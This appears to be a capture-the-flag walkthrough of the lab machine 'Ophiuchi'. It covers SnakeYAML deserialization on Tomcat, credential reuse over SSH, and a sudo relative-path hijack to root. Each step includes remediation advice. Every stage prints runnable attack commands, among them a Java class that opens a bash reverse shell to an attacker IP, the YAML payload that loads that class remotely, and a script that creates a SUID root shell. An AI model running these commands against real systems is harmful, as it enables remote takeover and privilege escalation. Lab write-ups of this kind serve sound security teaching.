← all walkthroughs

Ophiuchi

Linux· Medium
owned
2026-07-11
time to own
6m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target Ophiuchi ($TARGET) ran Apache Tomcat 9.0.38 on port 8080 hosting a Java-based 'Online YAML Parser' built on the SnakeYAML library. The application's live parsing endpoint at /yaml/Servlet accepted my own YAML that exploited SnakeYAML's unsafe type-coercion to load a malicious Java provider JAR from me-hosted server, delivering a reverse shell as the Tomcat service account.

A plaintext Tomcat manager password stored in the on-disk configuration file was reused unchanged as the SSH login password for the local OS account 'admin', collapsing the application–OS boundary and yielding the user flag. A passwordless sudo rule allowed 'admin' to execute a Go program that loaded a WebAssembly module and a shell script by bare filename rather than by absolute path; planting my own replacements in a writable directory and invoking the sudo command from there caused the Go program to run an arbitrary shell script as root, producing a SUID root shell and full system compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1EnumerationService enumeration and web application fingerprinting (T1046, T1592)
Mapped exposed services and fingerprinted the YAML parsing web application
A service scan revealed OpenSSH 8.2p1 on port 22 and Apache Tomcat 9.0.38 on port 8080. Browsing port 8080 returned a 302 redirect to /yaml/, which served an 'Online YAML Parser' form. Inspecting the page HTML showed the form POSTed a 'data' parameter to the relative action 'Servlet', resolving to /yaml/Servlet — the live parsing endpoint. A probe of the root /Servlet path returned a 'security hold' notice with Content-Length 93, confirming it was disabled while the /yaml/ context was not.
Nmap: 8080/tcp open Apache Tomcat; HTTP 302 Location: /yaml/; page title: 'Parse YAML'; form action="Servlet" name="data"; root /Servlet: HTTP 200 Content-Length: 93 'Due to security reason this feature has been temporarily on hold'.
Exact commands 4
Identify open ports and service version banners.
nmap -Pn -sV -p22,8080 $TARGET
Confirm the 302 redirect to /yaml/.
curl -si http://$TARGET:8080/
Retrieve the YAML parser landing page and inspect the form action attribute.
curl -si http://$TARGET:8080/yaml/
Probe the disabled root /Servlet to confirm it returns the security-hold notice.
curl -si --data-urlencode 'data=foo: bar' http://$TARGET:8080/Servlet
2ExploitationSnakeYAML insecure deserialization / unsafe YAML type-coercion (CWE-502)
Exploited SnakeYAML insecure deserialization to execute a reverse shell as the Tomcat service account
SnakeYAML's YAML type-tag feature instantiates arbitrary Java classes at parse time. Submitting a payload that constructed a URLClassLoader pointing at an me-hosted JAR caused Tomcat to fetch and load the JAR, whose META-INF/services/javax.script.ScriptEngineFactory SPI entry ran a bash reverse shell in its constructor. The JAR required compilation targeting Java 8 bytecode (javac --release 8) to match the target JVM's expected class-file major version; a mismatch caused a silent failure in an earlier build. The payload was posted to /yaml/Servlet — not the disabled /Servlet — and produced a shell as uid=1001(tomcat).
My http.server log: $TARGET - - [11/Jul/2026 18:23:06] "GET /yaml-payload.jar HTTP/1.1" 200 -; reverse shell: uid=1001(tomcat).
Exact commands 6
Create the gadget source directory layout.
mkdir -p /tmp/ophiuchi/src/artsploit /tmp/ophiuchi/classes/META-INF/services
Write the gadget class; replace $ATTACKER_IP with your HTB VPN (tun0) IP.
cat > /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java << 'EOF'
package artsploit;
import javax.script.*;
import java.util.List;
import java.io.IOException;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
  public AwesomeScriptEngineFactory() {
    try { Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"}); } catch (IOException e) {}
  }
  public String getEngineName(){return null;} public String getEngineVersion(){return null;}
  public List<String> getExtensions(){return null;} public List<String> getMimeTypes(){return null;}
  public List<String> getNames(){return null;} public String getLanguageName(){return null;}
  public String getLanguageVersion(){return null;} public Object getParameter(String k){return null;}
  public String getMethodCallSyntax(String o,String m,String... a){return null;}
  public String getOutputStatement(String s){return null;} public String getProgram(String... s){return null;}
  public ScriptEngine getScriptEngine(){return null;}
}
EOF
Compile to Java 8 bytecode (--release 8 is required; any higher version causes a class-load failure on the target JVM) and package the JAR with the SPI descriptor.
javac --release 8 -d /tmp/ophiuchi/classes /tmp/ophiuchi/src/artsploit/AwesomeScriptEngineFactory.java && echo 'artsploit.AwesomeScriptEngineFactory' > /tmp/ophiuchi/classes/META-INF/services/javax.script.ScriptEngineFactory && cd /tmp/ophiuchi/classes && jar cf ../yaml-payload.jar .
Serve the JAR from my host on port 8000.
cd /tmp/ophiuchi && python3 -m http.server 8000 &
Open the reverse shell listener before firing the payload.
nc -lvnp 4444
Trigger deserialization via the unfiltered /yaml/Servlet endpoint; replace $ATTACKER_IP with your VPN IP.
curl -sS --data-urlencode 'data=!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://$ATTACKER_IP:8000/yaml-payload.jar"]]]]' http://$TARGET:8080/yaml/Servlet
FixDisable SnakeYAML global-tag type instantiation in the YAML parser servletCritical
WeaknessThe YAML parsing servlet passed user-supplied input directly to SnakeYAML without restricting its 'global tag' feature. SnakeYAML's global tags allow YAML documents to name and instantiate arbitrary Java classes, including those that open network connections. An unauthorised user submitted a single HTTP POST containing a payload that caused the JVM to fetch a remote JAR and execute its code inside the Tomcat process — all from one unauthenticated request to a publicly reachable endpoint.
FixReplace the default unsafe Yaml constructor with SnakeYAML's SafeConstructor, which rejects all type tags that resolve to non-primitive classes: new Yaml(new SafeConstructor(new LoaderOptions())). If application logic genuinely requires deserializing custom Java types, implement a strict allowlist via a custom Resolver and Composer. Pin the SnakeYAML dependency to version 2.0 or later, which enforces a trusted-packages allowlist by default. As a defence-in-depth measure, deploy the Tomcat process in a container or systemd unit with no outbound network access to externally controlled hosts, so even a successful deserialization cannot fetch a remote payload.
3Credential AccessCredentials in files (T1552.001)
Harvested a cleartext Tomcat manager password from the on-disk configuration file
As the tomcat service account the standard Tomcat user configuration file at /opt/tomcat/conf/tomcat-users.xml was world-readable and stored a plaintext username and password for the manager role. This is a default artifact of many Tomcat installations and is frequently left with open permissions and cleartext credentials when the server is not hardened.
Tomcat-users.xml contained the plaintext password '[REDACTED: recovered credential]' (recovered from the tomcat reverse shell session).
Exact commands 1
Run from the tomcat reverse shell; locate the username and password attributes in the <user> element.
cat /opt/tomcat/conf/tomcat-users.xml
FixEliminate cleartext credentials from Tomcat configuration files and enforce unique passwords per accountCritical
WeaknessThe Tomcat manager password was stored in plaintext in /opt/tomcat/conf/tomcat-users.xml, a file readable by the service account. The same password was also set as the interactive SSH login password for the local OS account 'admin'. Recovering one credential from a single readable file gave full interactive OS-level access without any additional attack step.
FixMigrate application service credentials to a secrets manager (HashiCorp Vault, AWS Secrets Manager, or an equivalent) and inject them at runtime via environment variables or a secrets volume rather than storing them in on-disk XML. Restrict tomcat-users.xml to root-only read permissions (chown root:root; chmod 600). Enforce a password policy that explicitly prohibits reusing any service or application credential as an OS user password. Rotate the exposed credential ('[REDACTED: recovered credential]') on all systems where it may have been used. Enable SSH key-only authentication and disable password-based SSH login in /etc/ssh/sshd_config (PasswordAuthentication no).
4Lateral MovementValid accounts — credential reuse across service and OS layers (T1078)
Reused the Tomcat password to authenticate over SSH as the OS account 'admin' and captured the user flag
The password recovered from tomcat-users.xml — '[REDACTED: recovered credential]' — was identical to the SSH login password for the local operating-system account 'admin'. Password reuse across application service accounts and OS accounts is a common misconfiguration that collapses the boundary between application-level and OS-level compromise. SSH authentication as admin succeeded immediately, providing a full interactive shell. The user flag at /home/admin/user.txt was readable by this account.
Sshpass -p '[REDACTED: recovered credential]' ssh admin@$TARGET returned uid=1000(admin) groups=1000(admin); user.txt was readable.
Exact commands 1
Confirm lateral movement to admin; user.txt value replaced with <user.txt>.
sshpass -p '$PASSWORD2' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'id; cat /home/admin/user.txt'
5Privilege Escalation — DiscoverySudo misconfiguration — NOPASSWD rule with relative-path file load (T1548.003)
Discovered a passwordless sudo rule permitting execution of a Go program that loads files by relative path
Running 'sudo -l' as admin revealed that the account could execute '/usr/bin/go run /opt/wasm-functions/index.go' as root without supplying a password. Reviewing the Go source at that path showed it opened two files — 'main.wasm' and 'deploy.sh' — by bare filename with no directory prefix, meaning the Go runtime resolved them relative to whatever directory was current when the program was invoked. If the WebAssembly module exported an 'info' function returning the integer 1, the program executed deploy.sh with root privileges.
Sudo -l: (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go; index.go: os.Open("main.wasm") and exec.Command("bash", "deploy.sh") without absolute paths.
Exact commands 2
List sudo privileges for admin; identify the NOPASSWD entry for the Go program.
sudo -l
Read the Go source to confirm that main.wasm and deploy.sh are opened by relative path and that the info()==1 branch executes deploy.sh.
cat /opt/wasm-functions/index.go
FixRemove the NOPASSWD sudo rule for the Go WASM program, or replace relative file paths with absolute paths owned by rootCritical
WeaknessA passwordless sudo rule permitted the low-privilege 'admin' account to run a Go program that opened 'main.wasm' and 'deploy.sh' by bare filename, resolving them from the caller's current working directory at runtime. Because any local user can create files in /tmp and control the working directory of a process they invoke, an unauthorised user substituted malicious files in a writable directory and had them executed as root without supplying any credential.
FixIf the Go program serves no legitimate operational need for non-root users, remove the sudo rule from /etc/sudoers entirely. If the rule must be kept, modify /opt/wasm-functions/index.go to load files by absolute, hard-coded paths (e.g. /opt/wasm-functions/main.wasm and /opt/wasm-functions/deploy.sh), ensure those paths are owned by root and not writable by any other user (chmod 644 chown root:root), and remove NOPASSWD so that a password is required. As a defence-in-depth measure, apply the principle of least privilege: run only the specific wasm evaluation logic the program needs rather than executing an arbitrary shell script; replace the exec.Command("bash", "deploy.sh") call with a well-defined, allowlisted internal action.
6Privilege Escalation — ExecutionSudo relative-path hijack via malicious WebAssembly module and shell script (T1548.003)
Planted a malicious WebAssembly module and deploy script to execute arbitrary commands as root
In a writable directory (/tmp/wasmroot), a minimal WebAssembly text-format module was authored that exported an 'info' function returning the integer constant 1 — satisfying the Go program's execution condition — and compiled to a binary .wasm file using the wat2wasm tool from the wabt package. A 'deploy.sh' script in the same directory copied /bin/bash to /tmp/rootbash and set the SUID bit. Invoking the sudo command from /tmp/wasmroot caused the Go program to load both my own files: it evaluated info()==1 and executed deploy.sh as root. The resulting SUID bash binary accepted the -p flag to preserve the root effective UID, providing a persistent root shell.
/tmp/rootbash created -rwsr-xr-x root:root; '/tmp/rootbash -p -c id' returned uid=1000(admin) euid=0(root); root.txt read successfully.
Exact commands 6
Create a writable working directory for the hijack artifacts.
mkdir /tmp/wasmroot
Write the WebAssembly text module; info() returns 1 to satisfy the Go program's condition.
printf '(module (func (export "info") (result i32) i32.const 1))\n' > /tmp/wasmroot/main.wat
Compile WAT to binary WASM. Install wabt if absent: sudo apt install wabt.
wat2wasm /tmp/wasmroot/main.wat -o /tmp/wasmroot/main.wasm
Write the malicious deploy.sh that creates a SUID root copy of bash.
printf '#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod 4755 /tmp/rootbash\n' > /tmp/wasmroot/deploy.sh && chmod +x /tmp/wasmroot/deploy.sh
Invoke the sudo rule from /tmp/wasmroot so the Go program resolves main.wasm and deploy.sh to my own files.
cd /tmp/wasmroot && sudo /usr/bin/go run /opt/wasm-functions/index.go
Spawn a root shell via the SUID binary; -p preserves the root effective UID. Flag value replaced with <root.txt>.
/tmp/rootbash -p -c 'id; cat /root/root.txt'

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Tomcat Manager WAR DeployWeb · Service RCET1190

What it is

Apache Tomcat's Manager application allows deploying web applications. With valid (often default/weak) manager credentials, an unauthorised user uploads a malicious WAR file containing a JSP webshell, which Tomcat deploys and executes — code execution as the Tomcat service user.

Why it works

The Manager app is exposed with default or guessable credentials (tomcat:tomcat, admin:admin) and the deploy feature is RCE by design. Remediate by removing/locking down the Manager app, using strong credentials, and binding it to localhost.

Read more

Exposed services

22/tcp
8080/tcp